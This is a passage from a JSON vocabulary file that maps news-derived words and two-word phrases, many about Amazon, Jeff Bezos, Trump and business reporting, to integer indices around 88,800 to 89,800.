office\": 88813,\n  \"commerce grows\": 88814,\n  \"cuts ads\": 88815,\n  \"high popularity\": 88816,\n  \"rigeur\": 88817,\n  \"good working\": 88818,\n  \"clicksource story\": 88819,\n  \"technologies pulled\": 88820,\n  \"rekognition donald\": 88821,\n  \"consensus condemnation\": 88822,\n  \"pence says\": 88823,\n  \"spend million\": 88824,\n  \"enquirer struck\": 88825,\n  \"kernersville really\": 88826,\n  \"provides infrastructure\": 88827,\n  \"amzn ugg\": 88828,\n  \"restaurant bar\": 88829,\n  \"sent 680\": 88830,\n  \"paul verna\": 88831,\n  \"provide readers\": 88832,\n  \"lowering upfront\": 88833,\n  \"based services\": 88834,\n  \"edwardsville officials\": 88835,\n  \"frame healthy\": 88836,\n  \"pronouncements\": 88837,\n  \"gill wspd1pio\": 88838,\n  \"solo real\": 88839,\n  \"ami told\": 88840,\n  \"waved\": 88841,\n  \"growing urgency\": 88842,\n  \"batten international\": 88843,\n  \"disgraced monster\": 88844,\n  \"potential game\": 88845,\n  \"minimum wage\": 88846,\n  \"surveillance state\": 88847,\n  \"premiered\": 88848,\n  \"best remembered\": 88849,\n  \"murdered columnist\": 88850,\n  \"heinz\": 88851,\n  \"wildlife fund\": 88852,\n  \"hias\": 88853,\n  \"toys ellison\": 88854,\n  \"stoddard\": 88855,\n  \"million unique\": 88856,\n  \"william shatner\": 88857,\n  \"qsrs reporting\": 88858,\n  \"manhattan donnell\": 88859,\n  \"facing washington\": 88860,\n  \"house operations\": 88861,\n  \"leading pepsico\": 88862,\n  \"attire judge\": 88863,\n  \"brendan lyons\": 88864,\n  \"bushwick\": 88865,\n  \"matsakis writes\": 88866,\n  \"daily news\": 88867,\n  \"intricate story\": 88868,\n  \"different feel\": 88869,\n  \"host county\": 88870,\n  \"intercept ice\": 88871,\n  \"drilling activities\": 88872,\n  \"smci\": 88873,\n  \"matthew emerzian\": 88874,\n  \"policy\": 88875,\n  \"week charged\": 88876,\n  \"s\\u00e1nchez jeff\": 88877,\n  \"hasn dipped\": 88878,\n  \"2013 bezos\": 88879,\n  \"commissioned years\": 88880,\n  \"men underwear\": 88881,\n  \"cruciferous\": 88882,\n  \"make larger\": 88883,\n  \"basic 110\": 88884,\n  \"movies apostle\": 88885,\n  \"latest president\": 88886,\n  \"boost dividends\": 88887,\n  \"cooperman\": 88888,\n  \"parking spots\": 88889,\n  \"analysis software\": 88890,\n  \"rainfall regimes\": 88891,\n  \"comprising pecker\": 88892,\n  \"australia competition\": 88893,\n  \"trump businesses\": 88894,\n  \"destroy football\": 88895,\n  \"year development\": 88896,\n  \"infantile brain\": 88897,\n  \"situation trump\": 88898,\n  \"thers\": 88899,\n  \"davidson analyst\": 88900,\n  \"2d 583\": 88901,\n  \"stretch maybe\": 88902,\n  \"really know\": 88903,\n  \"eunice\": 88904,\n  \"delong accolade\": 88905,\n  \"actively compete\": 88906,\n  \"stereos\": 88907,\n  \"legs\": 88908,\n  \"owned enterprises\": 88909,\n  \"driving cars\": 88910,\n  \"public provocation\": 88911,\n  \"sachs amazon\": 88912,\n  \"hellblazer comics\": 88913,\n  \"mayoral veto\": 88914,\n  \"convention\": 88915,\n  \"today business\": 88916,\n  \"chance\": 88917,\n  \"attorney claimed\": 88918,\n  \"holt trump\": 88919,\n  \"received million\": 88920,\n  \"months later\": 88921,\n  \"line\": 88922,\n  \"star tandy\": 88923,\n  \"chatting\": 88924,\n  \"local sheriff\": 88925,\n  \"capital expenditure\": 88926,\n  \"johnson google\": 88927,\n  \"rosettistarr\": 88928,\n  \"hot recommended\": 88929,\n  \"queens library\": 88930,\n  \"westerns\": 88931,\n  \"favale headlineposttext\": 88932,\n  \"psc\": 88933,\n  \"fed jim\": 88934,\n  \"wants successful\": 88935,\n  \"team programming\": 88936,\n  \"hop style\": 88937,\n  \"seeking new\": 88938,\n  \"effective laxative\": 88939,\n  \"amazon megalith\": 88940,\n  \"marini\": 88941,\n  \"amid lot\": 88942,\n  \"arrested obama\": 88943,\n  \"presidential trolling\": 88944,\n  \"censoring conservatives\": 88945,\n  \"thrilling debut\": 88946,\n  \"prep photo\": 88947,\n  \"intelligence representing\": 88948,\n  \"groundswell\": 88949,\n  \"aws services\": 88950,\n  \"trailing fourth\": 88951,\n  \"netapp ntap\": 88952,\n  \"book left\": 88953,\n  \"issued response\": 88954,\n  \"lastly president\": 88955,\n  \"executive stock\": 88956,\n  \"located outside\": 88957,\n  \"insurance plans\": 88958,\n  \"aviance\": 88959,\n  \"new mmr\": 88960,\n  \"mismatched\": 88961,\n  \"interview fox\": 88962,\n  \"paid warehouse\": 88963,\n  \"lieberman\": 88964,\n  \"kuow\": 88965,\n  \"lee sentenced\": 88966,\n  \"stone added\": 88967,\n  \"golden state\": 88968,\n  \"kids clothes\": 88969,\n  \"grand parade\": 88970,\n  \"engleman overly\": 88971,\n  \"completely gotten\": 88972,\n  \"concealed weapon\": 88973,\n  \"campaign launched\": 88974,\n  \"board finds\": 88975,\n  \"total paid\": 88976,\n  \"promotes global\": 88977,\n  \"walmart online\": 88978,\n  \"confidential trump\": 88979,\n  \"fred ryan\": 88980,\n  \"amazon 1051\": 88981,\n  \"unleash war\": 88982,\n  \"corporate tailer\": 88983,\n  \"calling\": 88984,\n  \"north jeff\": 88985,\n  \"american university\": 88986,\n  \"sponsor sen\": 88987,\n  \"legal permanent\": 88988,\n  \"delicacy\": 88989,\n  \"legum\": 88990,\n  \"services field\": 88991,\n  \"orwell dystopian\": 88992,\n  \"ironic considering\": 88993,\n  \"oligarchic\": 88994,\n  \"lawyer richard\": 88995,\n  \"cortez received\": 88996,\n  \"snarky sticker\": 88997,\n  \"2016 trump\": 88998,\n  \"reported thestreet\": 88999,\n  \"chair serrano\": 89000,\n  \"company remains\": 89001,\n  \"potential tech\": 89002,\n  \"editor brian\": 89003,\n  \"sharing details\": 89004,\n  \"world fallen\": 89005,\n  \"merkel angry\": 89006,\n  \"falsely\": 89007,\n  \"amazon poses\": 89008,\n  \"tables gloating\": 89009,\n  \"g0 t5\": 89010,\n  \"mueller rosenstein\": 89011,\n  \"rightly tremble\": 89012,\n  \"moscow reaction\": 89013,\n  \"bay maintenance\": 89014,\n  \"scraps\": 89015,\n  \"matters worse\": 89016,\n  \"emoji\": 89017,\n  \"communication\": 89018,\n  \"midterms fmr\": 89019,\n  \"york highly\": 89020,\n  \"recovery teams\": 89021,\n  \"cuomo finally\": 89022,\n  \"sold 000\": 89023,\n  \"using working\": 89024,\n  \"allegedly paying\": 89025,\n  \"dominates\": 89026,\n  \"funding financial\": 89027,\n  \"movie distribution\": 89028,\n  \"progressive policy\": 89029,\n  \"quill north\": 89030,\n  \"seasonal hiring\": 89031,\n  \"atob 43415030\": 89032,\n  \"identities\": 89033,\n  \"label republicans\": 89034,\n  \"political debates\": 89035,\n  \"s0 math\": 89036,\n  \"ceneta ap\": 89037,\n  \"consumer streaming\": 89038,\n  \"wasn true\": 89039,\n  \"mikkelsen\": 89040,\n  \"billion page\": 89041,\n  \"dashboards\": 89042,\n  \"tie\": 89043,\n  \"deforestation photo\": 89044,\n  \"studies spicer\": 89045,\n  \"archila nicaraguan\": 89046,\n  \"swish\": 89047,\n  \"political divides\": 89048,\n  \"meaning create\": 89049,\n  \"russian politics\": 89050,\n  \"display van\": 89051,\n  \"cover story\": 89052,\n  \"343\": 89053,\n  \"970x450 getty_173218731_200015422000928060_388160\": 89054,\n  \"protections allowing\": 89055,\n  \"including elizabeth\": 89056,\n  \"michael sheen\": 89057,\n  \"otcmkts\": 89058,\n  \"unique creature\": 89059,\n  \"bitter ties\": 89060,\n  \"langbaum right\": 89061,\n  \"versus netflix\": 89062,\n  \"london protest\": 89063,\n  \"adamant\": 89064,\n  \"seritage\": 89065,\n  \"brittain\": 89066,\n  \"eliminate\": 89067,\n  \"utilize\": 89068,\n  \"suggest private\": 89069,\n  \"i9e\": 89070,\n  \"homeless residents\": 89071,\n  \"reportedly telling\": 89072,\n  \"air station\": 89073,\n  \"wrotea scathing\": 89074,\n  \"prices ubs\": 89075,\n  \"acclaimed expert\": 89076,\n  \"jeffrey dorfman\": 89077,\n  \"cop caught\": 89078,\n  \"heidi heitkamp\": 89079,\n  \"networking\": 89080,\n  \"tip line\": 89081,\n  \"jones offered\": 89082,\n  \"amazon prices\": 89083,\n  \"bags including\": 89084,\n  \"media blitz\": 89085,\n  \"purchasing rules\": 89086,\n  \"null thumbimagelargesource\": 89087,\n  \"moral failure\": 89088,\n  \"aldi bare\": 89089,\n  \"earth series\": 89090,\n  \"ortagus kelsey\": 89091,\n  \"col\": 89092,\n  \"grocery experience\": 89093,\n  \"unassuming\": 89094,\n  \"floridaflu pastor\": 89095,\n  \"quincy think\": 89096,\n  \"slogan\": 89097,\n  \"american sovereignty\": 89098,\n  \"read shopify\": 89099,\n  \"pundit position\": 89100,\n  \"superhero\": 89101,\n  \"streaming tv\": 89102,\n  \"positive purposes\": 89103,\n  \"obama midterms\": 89104,\n  \"ritzy community\": 89105,\n  \"bahrain\": 89106,\n  \"record holiday\": 89107,\n  \"nextgov democratic\": 89108,\n  \"keywords maga\": 89109,\n  \"distressed\": 89110,\n  \"dow component\": 89111,\n  \"chuck pierce\": 89112,\n  \"minimis rule\": 89113,\n  \"2017 obviously\": 89114,\n  \"intentionally suppressed\": 89115,\n  \"gupta chief\": 89116,\n  \"hirschfeld davis\": 89117,\n  \"acquisitive impulses\": 89118,\n  \"motivated entrepreneur\": 89119,\n  \"conflicted democrats\": 89120,\n  \"status 1014188835465580544\": 89121,\n  \"undoubtedly impact\": 89122,\n  \"council flickr\": 89123,\n  \"law similar\": 89124,\n  \"gulp war\": 89125,\n  \"twoyears\": 89126,\n  \"ingesting\": 89127,\n  \"create 300\": 89128,\n  \"rival twitter\": 89129,\n  \"delong lawrence\": 89130,\n  \"puff pastry\": 89131,\n  \"america wola\": 89132,\n  \"jan howard\": 89133,\n  \"addiction crisis\": 89134,\n  \"privacy breach\": 89135,\n  \"announcement coincided\": 89136,\n  \"kcrw good\": 89137,\n  \"government led\": 89138,\n  \"2015 letter\": 89139,\n  \"conveyed\": 89140,\n  \"work environment\": 89141,\n  \"peacefully\": 89142,\n  \"amazon benefits\": 89143,\n  \"make research\": 89144,\n  \"ashland seeing\": 89145,\n  \"morocco tour\": 89146,\n  \"begged\": 89147,\n  \"trading relations\": 89148,\n  \"south africans\": 89149,\n  \"writing negative\": 89150,\n  \"cup celebrations\": 89151,\n  \"reported previously\": 89152,\n  \"aug 1997\": 89153,\n  \"promises kept\": 89154,\n  \"gordon pape\": 89155,\n  \"response trump\": 89156,\n  \"ips\": 89157,\n  \"fare getting\": 89158,\n  \"utilizing aws\": 89159,\n  \"overvalued regardless\": 89160,\n  \"immigrant crime\": 89161,\n  \"beer shipments\": 89162,\n  \"introduces stop\": 89163,\n  \"utterly absurd\": 89164,\n  \"addition sears\": 89165,\n  \"investigating company\": 89166,\n  \"wow great\": 89167,\n  \"challenging industry\": 89168,\n  \"equity inclusion\": 89169,\n  \"house paralyzed\": 89170,\n  \"bezos left\": 89171,\n  \"group sort\": 89172,\n  \"incentivise\": 89173,\n  \"maryknoll office\": 89174,\n  \"significant tax\": 89175,\n  \"site design\": 89176,\n  \"post poised\": 89177,\n  \"corps\": 89178,\n  \"selby jennings\": 89179,\n  \"socialmedia marketing\": 89180,\n  \"split decision\": 89181,\n  \"significantly laughter\": 89182,\n  \"amazon fees\": 89183,\n  \"ladd frames\": 89184,\n  \"comfortable places\": 89185,\n  \"errors disproportionately\": 89186,\n  \"longer welcome\": 89187,\n  \"grubby\": 89188,\n  \"poynter reported\": 89189,\n  \"million foreign\": 89190,\n  \"facebook dominance\": 89191,\n  \"soy cotton\": 89192,\n  \"satchatuk londonislovinit\": 89193,\n  \"savannah\": 89194,\n  \"pockets\": 89195,\n  \"reduces marginalized\": 89196,\n  \"company fleet\": 89197,\n  \"twain shall\": 89198,\n  \"author christine\": 89199,\n  \"selected region\": 89200,\n  \"palinchak president\": 89201,\n  \"usps hike\": 89202,\n  \"enquirer bought\": 89203,\n  \"untested method\": 89204,\n  \"detention centres\": 89205,\n  \"long awaited\": 89206,\n  \"bhutan button\": 89207,\n  \"pick new\": 89208,\n  \"carriers including\": 89209,\n  \"lead maybe\": 89210,\n  \"ubiquitous cheap\": 89211,\n  \"market track\": 89212,\n  \"wrap\": 89213,\n  \"hope heading\": 89214,\n  \"amazon famously\": 89215,\n  \"court nominee\": 89216,\n  \"using aborted\": 89217,\n  \"islamic state\": 89218,\n  \"low represented\": 89219,\n  \"discounts given\": 89220,\n  \"direct knowledge\": 89221,\n  \"hq iran\": 89222,\n  \"cloud related\": 89223,\n  \"rosenwald\": 89224,\n  \"prepare\": 89225,\n  \"controversy wisconsin\": 89226,\n  \"basically saying\": 89227,\n  \"advisors managing\": 89228,\n  \"graphics ari\": 89229,\n  \"mailbox\": 89230,\n  \"ilk\": 89231,\n  \"tbs fbi\": 89232,\n  \"andrew puzder\": 89233,\n  \"latest presidential\": 89234,\n  \"representatives intelligence\": 89235,\n  \"encourage investment\": 89236,\n  \"party finds\": 89237,\n  \"dc paper\": 89238,\n  \"headquarters usa\": 89239,\n  \"wilderness protections\": 89240,\n  \"beto math\": 89241,\n  \"postmarked\": 89242,\n  \"governorandrew cuomo\": 89243,\n  \"major changes\": 89244,\n  \"tax managed\": 89245,\n  \"reports earlier\": 89246,\n  \"young\": 89247,\n  \"away cringing\": 89248,\n  \"manufacturers positive\": 89249,\n  \"standoff wisconsin\": 89250,\n  \"differentiator\": 89251,\n  \"booming relatively\": 89252,\n  \"proposed legislation\": 89253,\n  \"computers waiting\": 89254,\n  \"domestic growth\": 89255,\n  \"market outlook\": 89256,\n  \"horrible week\": 89257,\n  \"fixer told\": 89258,\n  \"trump behavior\": 89259,\n  \"defend amazon\": 89260,\n  \"wonkactivists\": 89261,\n  \"territory moving\": 89262,\n  \"coworkers\": 89263,\n  \"elizabeth williamson\": 89264,\n  \"tlds\": 89265,\n  \"clima bolsonaro\": 89266,\n  \"deal stop\": 89267,\n  \"grote bedrijven\": 89268,\n  \"simplest solution\": 89269,\n  \"schapperts shared\": 89270,\n  \"lianlian\": 89271,\n  \"tweet saying\": 89272,\n  \"enrichment\": 89273,\n  \"cancels new\": 89274,\n  \"median average\": 89275,\n  \"online company\": 89276,\n  \"right conspiracy\": 89277,\n  \"chef table\": 89278,\n  \"horseback riding\": 89279,\n  \"pro lgbtq\": 89280,\n  \"receive alerts\": 89281,\n  \"make critical\": 89282,\n  \"readers don\": 89283,\n  \"van drivers\": 89284,\n  \"failed social\": 89285,\n  \"offline mobile\": 89286,\n  \"growing liberal\": 89287,\n  \"environment continue\": 89288,\n  \"trump fictional\": 89289,\n  \"pot dictatorships\": 89290,\n  \"estate llc\": 89291,\n  \"meant fleets\": 89292,\n  \"clinton eleventh\": 89293,\n  \"reducing\": 89294,\n  \"using independent\": 89295,\n  \"press deficits\": 89296,\n  \"zeroed\": 89297,\n  \"sinclair considered\": 89298,\n  \"second look\": 89299,\n  \"duration block\": 89300,\n  \"gdp amazon\": 89301,\n  \"hammering\": 89302,\n  \"assuredly helped\": 89303,\n  \"pay kelly\": 89304,\n  \"jones arrivals\": 89305,\n  \"width\": 89306,\n  \"igp points\": 89307,\n  \"dropping reference\": 89308,\n  \"amazon moody\": 89309,\n  \"diagnostic featured\": 89310,\n  \"fundamentally weak\": 89311,\n  \"services competitors\": 89312,\n  \"spun silver\": 89313,\n  \"academic europe\": 89314,\n  \"republican congress\": 89315,\n  \"market sold\": 89316,\n  \"chicago boorstin\": 89317,\n  \"costco shoppers\": 89318,\n  \"emil\": 89319,\n  \"ximpeach\": 89320,\n  \"rival liberal\": 89321,\n  \"rm217\": 89322,\n  \"trump payoffs\": 89323,\n  \"color erious\": 89324,\n  \"launched preliminary\": 89325,\n  \"state forever\": 89326,\n  \"living children\": 89327,\n  \"standard time\": 89328,\n  \"directly involved\": 89329,\n  \"trump concluded\": 89330,\n  \"v7a\": 89331,\n  \"smith asset\": 89332,\n  \"little boys\": 89333,\n  \"darkside\": 89334,\n  \"irrational exuberance\": 89335,\n  \"cookbook bringing\": 89336,\n  \"yuppie invasion\": 89337,\n  \"commercial mail\": 89338,\n  \"continuously operate\": 89339,\n  \"venezuelans president\": 89340,\n  \"taxable earnings\": 89341,\n  \"scoops column\": 89342,\n  \"cost american\": 89343,\n  \"eat competitors\": 89344,\n  \"splurge\": 89345,\n  \"media temper\": 89346,\n  \"unsubstantiated\": 89347,\n  \"launch drone\": 89348,\n  \"democrats appear\": 89349,\n  \"maiden\": 89350,\n  \"started compromising\": 89351,\n  \"hadn reached\": 89352,\n  \"changes expected\": 89353,\n  \"promise amazon\": 89354,\n  \"service reuters\": 89355,\n  \"place lebeau\": 89356,\n  \"iran nuke\": 89357,\n  \"camp hill\": 89358,\n  \"new areas\": 89359,\n  \"dotted\": 89360,\n  \"persistently attacked\": 89361,\n  \"fairing\": 89362,\n  \"855\": 89363,\n  \"people current\": 89364,\n  \"deasy share\": 89365,\n  \"bashing phenomenon\": 89366,\n  \"governor lost\": 89367,\n  \"great white\": 89368,\n  \"burlington coat\": 89369,\n  \"america secretary\": 89370,\n  \"crimson\": 89371,\n  \"alleged perv\": 89372,\n  \"underscores amazon\": 89373,\n  \"kickoff\": 89374,\n  \"deployments\": 89375,\n  \"behaving badly\": 89376,\n  \"reversed longstanding\": 89377,\n  \"becker wanted\": 89378,\n  \"lobbing\": 89379,\n  \"official state\": 89380,\n  \"imperial bank\": 89381,\n  \"despite doubling\": 89382,\n  \"819\": 89383,\n  \"paulo federal\": 89384,\n  \"soliciting donors\": 89385,\n  \"kiesling mcd\": 89386,\n  \"occasio cortez\": 89387,\n  \"choksi nyt\": 89388,\n  \"customized fulfillment\": 89389,\n  \"nominally\": 89390,\n  \"buyer\": 89391,\n  \"seen burst\": 89392,\n  \"applications\": 89393,\n  \"orchestrate hush\": 89394,\n  \"rank strong\": 89395,\n  \"nigerian immigrant\": 89396,\n  \"assigning\": 89397,\n  \"beach drying\": 89398,\n  \"pentagon huge\": 89399,\n  \"times according\": 89400,\n  \"middle mile\": 89401,\n  \"accused amazon\": 89402,\n  \"feedback tended\": 89403,\n  \"sensationally disclosed\": 89404,\n  \"wasn secretly\": 89405,\n  \"ouster\": 89406,\n  \"paying positions\": 89407,\n  \"assumed supporter\": 89408,\n  \"bookseller amazon\": 89409,\n  \"stringent regulation\": 89410,\n  \"brockell\": 89411,\n  \"ages\": 89412,\n  \"bs kelly\": 89413,\n  \"sp500\": 89414,\n  \"kunath\": 89415,\n  \"giant playing\": 89416,\n  \"time hourly\": 89417,\n  \"package offered\": 89418,\n  \"fb combined\": 89419,\n  \"vt won\": 89420,\n  \"censorship follow\": 89421,\n  \"selected items\": 89422,\n  \"notably president\": 89423,\n  \"basics\": 89424,\n  \"national boundaries\": 89425,\n  \"teamsters union\": 89426,\n  \"rutledge\": 89427,\n  \"defiance published\": 89428,\n  \"permitted amazon\": 89429,\n  \"company alleges\": 89430,\n  \"difficult elections\": 89431,\n  \"internet brings\": 89432,\n  \"executive positions\": 89433,\n  \"fed chair\": 89434,\n  \"clients include\": 89435,\n  \"shoplocal\": 89436,\n  \"great market\": 89437,\n  \"1546023\": 89438,\n  \"unemployment data\": 89439,\n  \"fake green\": 89440,\n  \"faces going\": 89441,\n  \"significant increase\": 89442,\n  \"today announcement\": 89443,\n  \"blueshield\": 89444,\n  \"conundrum gawande\": 89445,\n  \"cannibalized\": 89446,\n  \"erin\": 89447,\n  \"president wrote\": 89448,\n  \"circus weekday\": 89449,\n  \"bell free\": 89450,\n  \"vast resources\": 89451,\n  \"public roads\": 89452,\n  \"consumers asking\": 89453,\n  \"213 foreign\": 89454,\n  \"meal kits\": 89455,\n  \"overnight temperatures\": 89456,\n  \"amerisourcebergen\": 89457,\n  \"retail world\": 89458,\n  \"slidenext slide\": 89459,\n  \"comparison amazon\": 89460,\n  \"s9x v0\": 89461,\n  \"changing\": 89462,\n  \"ward\": 89463,\n  \"deliveries inspections\": 89464,\n  \"radar ives\": 89465,\n  \"democrats jeff\": 89466,\n  \"westbrook conn\": 89467,\n  \"telling trudeau\": 89468,\n  \"launches cleanroom\": 89469,\n  \"historical biopic\": 89470,\n  \"916 shares\": 89471,\n  \"hate political\": 89472,\n  \"stonesifer patricia\": 89473,\n  \"fictitious\": 89474,\n  \"president wealthy\": 89475,\n  \"china denies\": 89476,\n  \"hare international\": 89477,\n  \"smart guy\": 89478,\n  \"shaven public\": 89479,\n  \"starbucks 500\": 89480,\n  \"semi retired\": 89481,\n  \"created sizable\": 89482,\n  \"newly formed\": 89483,\n  \"hack away\": 89484,\n  \"business associate\": 89485,\n  \"hbi\": 89486,\n  \"city greenpeace\": 89487,\n  \"zinke blocked\": 89488,\n  \"riot raced\": 89489,\n  \"sample\": 89490,\n  \"contractor reps\": 89491,\n  \"helped\": 89492,\n  \"iphone supported\": 89493,\n  \"julia roberts\": 89494,\n  \"house brands\": 89495,\n  \"new warnings\": 89496,\n  \"annie landsberg\": 89497,\n  \"enquirer editor\": 89498,\n  \"lo usa\": 89499,\n  \"self financing\": 89500,\n  \"detroit ap\": 89501,\n  \"fanning\": 89502,\n  \"reinvigorate\": 89503,\n  \"community tu\": 89504,\n  \"wendi deng\": 89505,\n  \"film data\": 89506,\n  \"extended period\": 89507,\n  \"reported 4q\": 89508,\n  \"centralized buying\": 89509,\n  \"marry harry\": 89510,\n  \"katerina\": 89511,\n  \"technology transfers\": 89512,\n  \"fastest riser\": 89513,\n  \"twitter mikesnider\": 89514,\n  \"bedminster estate\": 89515,\n  \"idg\": 89516,\n  \"provide accessible\": 89517,\n  \"injector getnamespacefeature\": 89518,\n  \"mislabels\": 89519,\n  \"plainly\": 89520,\n  \"higher refinances\": 89521,\n  \"unemployment politics\": 89522,\n  \"moines register\": 89523,\n  \"detroit jail\": 89524,\n  \"offers easy\": 89525,\n  \"week snow\": 89526,\n  \"elite economists\": 89527,\n  \"hearing protection\": 89528,\n  \"identified discussing\": 89529,\n  \"pays warehouse\": 89530,\n  \"aaliyah\": 89531,\n  \"buying press\": 89532,\n  \"promotional\": 89533,\n  \"victory landing\": 89534,\n  \"bureaucracies\": 89535,\n  \"analysts highlighted\": 89536,\n  \"characterising\": 89537,\n  \"law firm\": 89538,\n  \"gap gps\": 89539,\n  \"adversarial news\": 89540,\n  \"9k\": 89541,\n  \"quotation marks\": 89542,\n  \"boxes amazon\": 89543,\n  \"rampback\": 89544,\n  \"bookseller britain\": 89545,\n  \"outspoken trump\": 89546,\n  \"million stake\": 89547,\n  \"discovered\": 89548,\n  \"alpine skiing\": 89549,\n  \"networking mobile\": 89550,\n  \"juice groove\": 89551,\n  \"expressive\": 89552,\n  \"constitutes living\": 89553,\n  \"thing\": 89554,\n  \"selling pro\": 89555,\n  \"contract ends\": 89556,\n  \"foie\": 89557,\n  \"05m says\": 89558,\n  \"instead invest\": 89559,\n  \"setting net\": 89560,\n  \"asher\": 89561,\n  \"getting new\": 89562,\n  \"bezos described\": 89563,\n  \"mobile android\": 89564,\n  \"storage facility\": 89565,\n  \"wealthy businessmen\": 89566,\n  \"raw material\": 89567,\n  \"government review\": 89568,\n  \"formally abolished\": 89569,\n  \"government bailout\": 89570,\n  \"obamacare repeal\": 89571,\n  \"selected eleanor\": 89572,\n  \"grew close\": 89573,\n  \"comments saying\": 89574,\n  \"desired algorithmic\": 89575,\n  \"pithy author\": 89576,\n  \"director russ\": 89577,\n  \"territories read\": 89578,\n  \"vice chairman\": 89579,\n  \"tang\": 89580,\n  \"50million\": 89581,\n  \"vital issues\": 89582,\n  \"tightened\": 89583,\n  \"downgrades dow\": 89584,\n  \"small enterprise\": 89585,\n  \"functionality holly\": 89586,\n  \"sufficient evidence\": 89587,\n  \"fortune18 jan\": 89588,\n  \"interestingly\": 89589,\n  \"complicated supply\": 89590,\n  \"winners blowing\": 89591,\n  \"restricted people\": 89592,\n  \"mccann podcast\": 89593,\n  \"shutdowns\": 89594,\n  \"don think\": 89595,\n  \"funny writer\": 89596,\n  \"reopened steel\": 89597,\n  \"creating federal\": 89598,\n  \"itemised details\": 89599,\n  \"year argued\": 89600,\n  \"fed ex\": 89601,\n  \"cnl_name\": 89602,\n  \"trump twitter\": 89603,\n  \"wee hours\": 89604,\n  \"breaks reported\": 89605,\n  \"financial professionals\": 89606,\n  \"attacked boeing\": 89607,\n  \"amazon united\": 89608,\n  \"biggest impact\": 89609,\n  \"238 city\": 89610,\n  \"cortez complete\": 89611,\n  \"utah campaign\": 89612,\n  \"ordinary relying\": 89613,\n  \"indigenous reserves\": 89614,\n  \"marketing covers\": 89615,\n  \"term decisions\": 89616,\n  \"customs brokers\": 89617,\n  \"flatiron\": 89618,\n  \"year blackburn\": 89619,\n  \"retail behemoth\": 89620,\n  \"sudden exit\": 89621,\n  \"admitted violating\": 89622,\n  \"problem plagued\": 89623,\n  \"inflexible\": 89624,\n  \"progressive judges\": 89625,\n  \"absolutely killed\": 89626,\n  \"reality rampant\": 89627,\n  \"recently delivery\": 89628,\n  \"ami lawyer\": 89629,\n  \"campaign chairman\": 89630,\n  \"force evaluating\": 89631,\n  \"area chances\": 89632,\n  \"announces putnam\": 89633,\n  \"bring criminal\": 89634,\n  \"visa mastercard\": 89635,\n  \"camus\": 89636,\n  \"amal\": 89637,\n  \"required gop\": 89638,\n  \"captured hearts\": 89639,\n  \"veterans grow\": 89640,\n  \"avid opponent\": 89641,\n  \"idsukavotu alexandria\": 89642,\n  \"alternative proposal\": 89643,\n  \"reportedly did\": 89644,\n  \"triborough bridge\": 89645,\n  \"says ameriker\": 89646,\n  \"opinions wont\": 89647,\n  \"driver base\": 89648,\n  \"aapl netflix\": 89649,\n  \"falters\": 89650,\n  \"make false\": 89651,\n  \"plata basin\": 89652,\n  \"scot pelley\": 89653,\n  \"cowered\": 89654,\n  \"racial profiling\": 89655,\n  \"hating amazon\": 89656,\n  \"operate unless\": 89657,\n  \"pjnet\": 89658,\n  \"rbsz1udt2g\": 89659,\n  \"travis\": 89660,\n  \"application json\": 89661,\n  \"computer vendors\": 89662,\n  \"rapid delivery\": 89663,\n  \"potential antitrust\": 89664,\n  \"swb\": 89665,\n  \"entered confidential\": 89666,\n  \"supposed expertise\": 89667,\n  \"shift profits\": 89668,\n  \"statements taking\": 89669,\n  \"amazon bookstore\": 89670,\n  \"coonsdem\": 89671,\n  \"gases\": 89672,\n  \"rapidly\": 89673,\n  \"trump index\": 89674,\n  \"faux listings\": 89675,\n  \"suntrust quite\": 89676,\n  \"deal herera\": 89677,\n  \"inaugural committee\": 89678,\n  \"choose successor\": 89679,\n  \"twitter announcement\": 89680,\n  \"morning post\": 89681,\n  \"drizzle\": 89682,\n  \"michael barnett\": 89683,\n  \"fantasy portfolio\": 89684,\n  \"propel hundreds\": 89685,\n  \"carney wrote\": 89686,\n  \"older brazilians\": 89687,\n  \"2018 tonight\": 89688,\n  \"confluent\": 89689,\n  \"land thieves\": 89690,\n  \"672\": 89691,\n  \"comey fired\": 89692,\n  \"ccs\": 89693,\n  \"connecticut park\": 89694,\n  \"fret\": 89695,\n  \"bold faced\": 89696,\n  \"delivery commitments\": 89697,\n  \"uyehara\": 89698,\n  \"employee specifically\": 89699,\n  \"hand searched\": 89700,\n  \"civil\": 89701,\n  \"founder meb\": 89702,\n  \"ries\": 89703,\n  \"anchor continue\": 89704,\n  \"revealing government\": 89705,\n  \"adversarial\": 89706,\n  \"considered including\": 89707,\n  \"president erodes\": 89708,\n  \"diaper idea\": 89709,\n  \"america served\": 89710,\n  \"weren enormous\": 89711,\n  \"alternative sparkling\": 89712,\n  \"decade researching\": 89713,\n  \"understanding 2019\": 89714,\n  \"marxist\": 89715,\n  \"advisory network\": 89716,\n  \"received severe\": 89717,\n  \"trump schumer\": 89718,\n  \"winning recognition\": 89719,\n  \"big win\": 89720,\n  \"illicit photos\": 89721,\n  \"otc mcdlf\": 89722,\n  \"make books\": 89723,\n  \"pad new\": 89724,\n  \"clich\\u00e9d slogans\": 89725,\n  \"amazon good\": 89726,\n  \"favourite country\": 89727,\n  \"blackburn tn\": 89728,\n  \"seeking justice\": 89729,\n  \"000 employee\": 89730,\n  \"year photograph\": 89731,\n  \"grade goods\": 89732,\n  \"meet xi\": 89733,\n  \"force thousands\": 89734,\n  \"nashville davidson\": 89735,\n  \"hamfisted\": 89736,\n  \"beaumont\": 89737,\n  \"kindly step\": 89738,\n  \"outspoken individual\": 89739,\n  \"release congressman\": 89740,\n  \"200 companies\": 89741,\n  \"guy amazon\": 89742,\n  \"irresponsible budget\": 89743,\n  \"aut_atyid\": 89744,\n  \"2023 studies\": 89745,\n  \"pricing power\": 89746,\n  \"board illustrated\": 89747,\n  \"recent polling\": 89748,\n  \"homelessness local\": 89749,\n  \"itep org\": 89750,\n  \"agricultural lands\": 89751,\n  \"expicit\": 89752,\n  \"snapchat loses\": 89753,\n  \"paints doomsday\": 89754,\n  \"distributors tied\": 89755,\n  \"farmworkers rights\": 89756,\n  \"rollout despite\": 89757,\n  \"new vc\": 89758,\n  \"customers trust\": 89759,\n  \"western finely\": 89760,\n  \"recommendations include\": 89761,\n  \"meet extraordinary\": 89762,\n  \"chicago suburb\": 89763,\n  \"bezos pursuit\": 89764,\n  \"bear cub\": 89765,\n  \"lawyer bezos\": 89766,\n  \"harvest fees\": 89767,\n  \"untold number\": 89768,\n  \"apis code\": 89769,\n  \"pretty sizable\": 89770,\n  \"read gcc\": 89771,\n  \"unforced\": 89772,\n  \"quote hatch\": 89773,\n  \"paid million\": 89774,\n  \"stall recall\": 89775,\n  \"competitors sales\": 89776,\n  \"ford ben\": 89777,\n  \"publicly promoted\": 89778,\n  \"shooting dog\": 